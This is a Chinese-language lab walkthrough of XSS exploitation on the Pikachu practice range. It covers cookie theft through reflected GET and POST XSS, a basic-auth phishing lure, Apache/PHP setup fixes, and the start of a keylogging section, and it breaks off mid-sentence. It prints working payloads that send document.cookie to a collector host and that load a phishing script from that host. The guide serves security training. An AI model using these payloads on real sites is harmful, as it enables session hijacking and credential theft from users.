三、XSS 漏洞利用
准备工作
XSS 后台初始化,根据提示操作即可
修改后台源代码,如下
反射型XSS(get)获取用户cookie
1 payload 如下
<script>document.location = 'http://192.168.154.135/pikachu/pkxss/xcookie/cookie.php?cookie=' %2B document.cookie;</script>
当前页面拥有的 cookie
2 提交payload,查看后台 cookie收集结果,结果如下
因为之前做过测试,所以id从6开始,正常从1开始
反射型XSS(post)获取用户cookie
1 首先登录账号(admin/123456)
2 随便输入内容,点击提交,发现输入的内容直接拼接到界面中
看到这里你是不是觉得这个不是跟get类型一样嘛,对的,原理是一样的,但是,提交方式是以表单方式提交的,这时就无法将恶意代码嵌入到URL中发给目标。
3 修改伪造表单界面源代码(利用pikachu自带的表单 post.html)
4 payload
http://192.168.154.135/pikachu/pkxss/xcookie/post.html
5 刷新后台,即可查看到结果
6 修改 cookie 值,受害者点击链接,刷新后台
XSS 漏洞利用之 钓鱼
1 鱼饵--basic认证
WWW-Authenticate:Basic
2 修改后台数据接收界面
3 payload
<script src="http://192.168.154.135/pikachu/pkxss/xfish/fish.php"></script>
---填坑---
工具包准备
=频繁弹窗问题=
原因:PHP的HTTP认证机制仅在PHP以Apache模块方式运行时才有效,因此该功能不适用于CGI版本。
解决方案:重新部署环境
PHP集成开发环境启动Apache如下
1 配置Apache
将Apache解压到指定目录,打开Apache24/conf/httpd.conf文件,找到Define SRVROOT,将/Apache24修改为解压目录,如这里解压在E:\Apache24目录
然后使用管理员权限打开CMD,执行以下命令
httpd.exe -k install -n apache2
进入bin目录,运行ApacheMonitor.exe。在托盘处左键点击Apache小图标,选择start,然后访问127.0.0.1测试
2 配置PHP
解压PHP压缩包,打开Apache的httpd.conf文件,在最后面增加配置(写自己的PHP目录)
重启Apache,并Apache安装目录下的htdocs目录新建一个phpinfo.php,写入以下内容:
<?php phpinfo(); ?>
最后通过浏览器访问:http://127.0.0.1/phpinfo.php,可以看到Server API为Apache 2.0 Handler
4 继续复现钓鱼攻击
先把PHP安装目录下的php.ini-production文件复制一份并重命名为php.ini,然后打开
找到extension = mysqli,将前面;去掉
找到extension_dir = "ext",将前面;去掉,并修改为PHP路径下的ext
extension_dir = "E:\php-7.4\ext"
将Pikachu靶场复制到htdocs目录下,并开启MySQL。这里使用的是phpStudy环境,由于Apache已经另外安装并开启了,因此这里只需要单独启动MySQL即可
5 payload 放到反射型XSS(get)测试
这里没有弹窗问题了,但是后台始终没有获取到数据,经过一番代码调试最终解决了问题
6 修改 fish.php 代码
7 重试,后台成功获取结果
XSS 利用之 获取键盘记录
前置知识
1 跨域
2 同源策略
同源策略是浏览器的一个安全功能,不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源。所有浏览器都约定了"同源策略"
同源策略规定:
两个不同域名之间不能使用JS进行相互操作,
例如 x.com 域名下的JavaScript并不能操作 y.com下的对象
3 不受同源策略限制
- 页面中的链接,重定向以及表单提交是不会受到同源策略限制的。
- 跨域资源的引入是可以的。但是js不能读写加载的内容。如嵌入到页面中的,,,